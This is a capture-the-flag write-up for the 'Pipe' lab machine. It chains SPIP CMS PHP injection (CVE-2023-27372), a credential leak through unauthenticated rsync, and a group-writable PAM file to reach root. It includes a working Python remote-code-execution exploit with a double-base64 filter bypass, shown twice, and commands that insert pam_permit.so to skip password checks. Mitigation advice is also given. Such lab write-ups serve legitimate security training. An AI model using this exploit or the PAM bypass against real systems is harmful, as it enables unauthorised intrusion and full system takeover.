Pipe - HC Writeup

2026-03-17·6 min read·
ctfwebrcedockerspiprsyncpamprivilege-escalation

Target Information

  • IP Address: 172.16.13.106 (host) / pipe.hc:8889 (container)
  • Difficulty: Medium
  • Tags: Web, RCE, CVE-2023-27372, SPIP, Docker Escape, rsync, PAM Misconfiguration, Privilege Escalation

Reconnaissance

Port Scanning

Initial enumeration with nmap:

$bash
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap pipe.hc

Results:

$code
PORT     STATE SERVICE
8889/tcp open  SPIP CMS
22/tcp   open  SSH
873/tcp  open  rsync (host: 172.18.0.1)

Web Enumeration

SPIP CMS Identified

The application exposed on port 8889 is a SPIP CMS version older than 4.2.1, vulnerable to PHP code injection through the _anciennes_valeurs parameter in the contact form.

Endpoint: http://pipe.hc:8889/spip.php?page=contact


Exploitation: CVE-2023-27372 — PHP Injection no SPIP

Vulnerability

SPIP deserializes the contact form’s _anciennes_valeurs parameter without sanitization, allowing arbitrary PHP code injection. The output of shell_exec() is reflected in a hidden response field, making it directly capturable.

Step 1 — Obtain the Anti-CSRF Token

Request:

$http
GET /spip.php?page=spip_pass HTTP/1.1
Host: pipe.hc:8889

Command:

$bash
curl -s "http://pipe.hc:8889/spip.php?page=spip_pass" | grep 'formulaire_action_args'

Step 2 — Send the Payload

Payload:

$python
import base64, requests, bs4
 
URL = "http://pipe.hc:8889"
CMD = "id"
 
# Retrieve the CSRF token
r = requests.get(f"{URL}/spip.php?page=spip_pass")
csrf = bs4.BeautifulSoup(r.text, "html.parser") \
          .find("input", {"name": "formulaire_action_args"})["value"]
 
# Double Base64 to bypass filters
b64 = base64.b64encode(base64.b64encode(CMD.encode()).decode().encode()).decode()
php = f"<?php echo shell_exec('echo {b64} | base64 -d | base64 -d | bash'); ?>"
 
r2 = requests.post(f"{URL}/spip.php?page=contact", data={
    "formulaire_action": "contact",
    "formulaire_action_args": csrf,
    "_anciennes_valeurs": php,
})
 
# Output refletido no hidden input
output = bs4.BeautifulSoup(r2.text, "html.parser") \
            .find("input", {"name": "_anciennes_valeurs"})["value"]
print(output)

Result:

$code
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post-Exploitation

Environment Enumeration

After obtaining RCE as www-data, execution inside a Docker container was confirmed:

$bash
# Confirm the Docker environment
cat /proc/1/cgroup   # → .../docker/<hash>
ls /.dockerenv       # → file exists
 
# Network addressing
ip addr              # → 172.18.0.3/16 (bridge docker)
                     # DB: 172.18.0.2 | Host: 172.18.0.1
 
# Scan host ports through bash /dev/tcp
for port in 22 80 443 873 3306; do
  (echo >/dev/tcp/172.18.0.1/$port) 2>/dev/null && echo "open: $port"
done

Findings:

  • Container on the Docker bridge network (172.18.0.3), host at 172.18.0.1
  • The host exposes port 22 (SSH) and port 873 (rsync)
  • Unauthenticated rsync is accessible from the container

Exploitation: rsync Unauthenticated — Credential Leak

Discovery

The rsync daemon on the host (172.18.0.1) exposes the backup module without authentication.

Command:

$bash
# List available modules
rsync rsync://172.18.0.1/
# backup   Backup storage
 
# List module contents
rsync rsync://172.18.0.1/backup/
# backup.zip

Exploitation

$bash
# Download the file using rsync installed in /tmp in the container
/tmp/rsync rsync://172.18.0.1/backup/backup.zip /tmp/
 
# Extract
unzip /tmp/backup.zip -d /tmp/backup/
cat /tmp/backup/reset.txt

Result:

$code
To: marcus@pipe.htb
...
Your new credentials: marcus / 66%%%421

Phase 4 — SSH to the Host as marcus

$bash
ssh marcus@172.16.13.106
# password: 66%%%421

Result:

$bash
Welcome to Ubuntu 24.04 LTS
marcus@pipe-host:~$
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus),1001(marcus)

Privilege Escalation: PAM Misconfiguration

Enumeration

$bash
find / -writable -not -path '*/proc/*' -not -path '*/sys/*' 2>/dev/null | grep -v /tmp

Critical file identified:

$bash
ls -la /etc/pam.d/common-auth
# -rw-rw-r-- 1 root marcus 1242 Mar 12  /etc/pam.d/common-auth
#                   ^^^^^^
#           the marcus group has write permission!

The /etc/pam.d/common-auth file belongs to the marcus group and is group-writable, allowing the system authentication policy to be rewritten.

Exploitation

The pam_permit.so module with the sufficient flag returns success immediately, bypassing all subsequent modules (including password verification):

$bash
python3 -c "
with open('/etc/pam.d/common-auth', 'r') as f:
    content = f.read()
with open('/etc/pam.d/common-auth', 'w') as f:
    f.write('auth sufficient pam_permit.so\n' + content)
"

/etc/pam.d/common-auth after modification:

$code
auth sufficient pam_permit.so     ← bypasses password verification
auth [success=1 default=ignore] pam_unix.so nullok
auth requisite pam_deny.so
auth required pam_permit.so
...
$bash
echo '' | su -c 'id; cat /root/root.txt' root

Result:

$bash
uid=0(root) gid=0(root) groups=0(root)
hackingclub{5e0712e13d8590378038f211d3f32811}

ROOT OBTAINED!


Attack Chain Summary

$code
1. CVE-2023-27372 — PHP injection em _anciennes_valeurs do SPIP CMS
   POST /spip.php?page=contact → RCE como www-data no container
   ↓
2. Internal network enumeration → host 172.18.0.1:873 (rsync)
   ↓
3. Unauthenticated rsync → backup.zip → reset.txt → marcus credentials:66%%%421
   ↓
4. SSH to the host as marcus
   ↓
5. `/etc/pam.d/common-auth` is group-writable → inject `pam_permit.so sufficient`
   Switch to root with an empty password
   ↓
6. Root access

Vulnerabilities Summary

VulnerabilityCWESeverityImpact
SPIP PHP Injection (CVE-2023-27372)CWE-94CriticalRCE as www-data
Unauthenticated rsyncCWE-306HighRead host files
PAM common-auth group-writableCWE-732CriticalEscalation to root

Mitigation Recommendations

Application Level

  1. Update SPIP to >= 4.2.1:

    • CVE-2023-27372 is fixed in this version
  2. Sanitize form parameters:

    • Validate and escape all input before processing it with eval or deserialization

System Level

  1. Configure rsync authentication:

    $bash
    # /etc/rsyncd.conf
    [backup]
        auth users = backup_user
        secrets file = /etc/rsyncd.secrets
  2. Fix PAM permissions:

    $bash
    chmod 644 /etc/pam.d/common-auth
    chown root:root /etc/pam.d/common-auth
  3. Restrict network access between containers and the host:

    • Use an isolated Docker --network or iptables rules to block access to the host

Tools Used

  • nmap - Port scanning e service enumeration
  • curl / requests - HTTP exploitation of SPIP
  • rsync - Access to the unauthenticated backup module
  • python3 - Exploit scripting and PAM modification

Proof of Concept Scripts

CVE-2023-27372 SPIP RCE

$python
#!/usr/bin/env python3
import base64, requests
from bs4 import BeautifulSoup
 
URL = "http://pipe.hc:8889"
 
def rce(cmd):
    r = requests.get(f"{URL}/spip.php?page=spip_pass")
    csrf = BeautifulSoup(r.text, "html.parser") \
              .find("input", {"name": "formulaire_action_args"})["value"]
 
    b64 = base64.b64encode(base64.b64encode(cmd.encode()).decode().encode()).decode()
    php = f"<?php echo shell_exec('echo {b64} | base64 -d | base64 -d | bash'); ?>"
 
    r2 = requests.post(f"{URL}/spip.php?page=contact", data={
        "formulaire_action": "contact",
        "formulaire_action_args": csrf,
        "_anciennes_valeurs": php,
    })
 
    return BeautifulSoup(r2.text, "html.parser") \
               .find("input", {"name": "_anciennes_valeurs"})["value"]
 
if __name__ == "__main__":
    import sys
    cmd = " ".join(sys.argv[1:]) if len(sys.argv) > 1 else "id"
    print(rce(cmd))

References

CWE References:


Author: cbxcvl Date: 2026-03-17 Machine: Pipe — HackingClub


Flags

Flag values and file paths are not documented in the source notes.